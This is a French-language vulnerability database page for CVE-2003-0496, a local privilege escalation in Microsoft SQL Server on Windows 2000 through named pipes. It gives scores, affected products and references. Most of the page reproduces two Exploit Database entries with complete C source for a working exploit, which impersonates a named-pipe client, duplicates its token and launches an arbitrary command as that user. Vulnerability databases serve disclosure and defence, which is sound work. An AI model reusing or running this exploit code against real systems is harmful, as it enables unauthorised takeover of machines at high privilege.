CVE-2003-0496 : Détail

CVE-2003-0496

0.05%V3
Local
2003-07-10
02h00 +00:00
2016-10-17
11h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Microsoft SQL Server before Windows 2000 SP4 allows local users to gain privileges as the SQL Server user by calling the xp_fileexist extended stored procedure with a named pipe as an argument instead of a normal file.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 22882

Date de publication : 2003-07-07 22h00 +00:00
Auteur : Maceo
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/8128/info It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account. /* tac0tac0.c - pay no attention to the name, long story... * * Author: Maceo * Modified to take advantage of CAN-2003-0496 Named Pipe Filename * Local Privilege Escalation Found by @stake. Use with their Advisory. * -wirepair@sh0dan.org http://sh0dan.org * * * All credits for code go to Maceo, i really did minimal work * with his code, it took me like 3 seconds heh. * Shouts to #innercircle, * */ #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { DWORD dwNumber = 0; DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); if (argc != 2) { fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local Priv Escalation found by @stake.\n" "This code is to be used with MS-SQL exactly as outlined in their advisory\n" "All credit for this code goes to Maceo, he did a fine job.. -wire\n",argv[0]); exit(1); } // build the next named pipe name // char szPipe[64]; //sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu", ++dwNumber); sprintf(szPipe, "\\\\.\\pipe\\poop"); // create the named pipe before scm can // HANDLE hPipe = 0; hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 3; } ConnectNamedPipe (hPipe, NULL); // assume the identity of the client // if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 5; } // display impersonating users name // dwSize = 256; char szUser[256]; GetUserName(szUser, &dwSize); printf ("Impersonating: %s\n", szUser); system(argv[1]); CloseHandle(hPipe); return 0; }
Exploit Database EDB-ID : 22883

Date de publication : 2003-07-07 22h00 +00:00
Auteur : Maceo
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/8128/info It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account. /* tac0tac0.c - pay no attention to the name, long story... * * * * Author: Maceo * Modified to take advantage of CAN-2003-0496 Named Pipe Filename * Local Privilege Escalation Found by @stake. Use with their advisory * -wirepair@sh0dan.org http://sh0dan.org/files/tac0tac0.c * * * All credits for code go to Maceo, i really did minimal work * with his code, it took me like 3 seconds heh. * Shouts to #innercircle, * */ #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { char szPipe[64]; DWORD dwNumber = 0; DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); DWORD dw = GetLastError(); HANDLE hToken, hToken2; PGENERIC_MAPPING pGeneric; SECURITY_ATTRIBUTES sa; DWORD dwAccessDesired; PACL pACL = NULL; PSECURITY_DESCRIPTOR pSD = NULL; STARTUPINFO si; PROCESS_INFORMATION pi; if (argc != 2) { fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local Priv Escalation found by @stake.\n" "This code is to be used with MS-SQL exactly as outlined in their advisory\n" "All credit for this code goes to Maceo, he did a fine job.. -wire\n" "Also thanks goes to brett Moore for helping me with DuplicateTokenEx, thanks buddy guy!\n",argv[0]); exit(1); } memset(&si,0,sizeof(si)); sprintf(szPipe, "\\\\.\\pipe\\poop"); // create the named pipe HANDLE hPipe = 0; hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 3; } printf("Created Named Pipe: \\\\.\\pipe\\poop\n"); // setup security attribs pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = pSD; sa.bInheritHandle = FALSE; printf("Waiting for connection...\n"); // wait for client to connect ConnectNamedPipe (hPipe, NULL); // assume the identity of the client // if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 5; } if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )) { if (hToken != INVALID_HANDLE_VALUE) { printf("GetLastError: %u\n", dw); CloseHandle(hToken); exit(0); } } printf("Duplicating Token...\n"); if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation, TokenPrimary,&hToken2) == 0) { printf("error in duplicate token\n"); printf("GetLastError: %u\n", dw); exit(0); } MapGenericMask( &dwAccessDesired, pGeneric ); // display impersonating users name dwSize = 256; char szUser[256]; GetUserName(szUser, &dwSize); printf ("Impersonating: %s\n", szUser); si.cb = sizeof(si); si.lpDesktop = NULL; printf("Creating New Process %s\n", argv[1]); if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa, &sa,true, NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) { printf("GetLastError: %u\n", dw); } CloseHandle(hPipe); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

Références

http://marc.info/?l=bugtraq&m=105820282607865&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.atstake.com/research/advisories/2003/a070803-1.txt
Tags : vendor-advisory, x_refsource_ATSTAKE
http://marc.info/?l=bugtraq&m=105830986720243&w=2
Tags : mailing-list, x_refsource_BUGTRAQ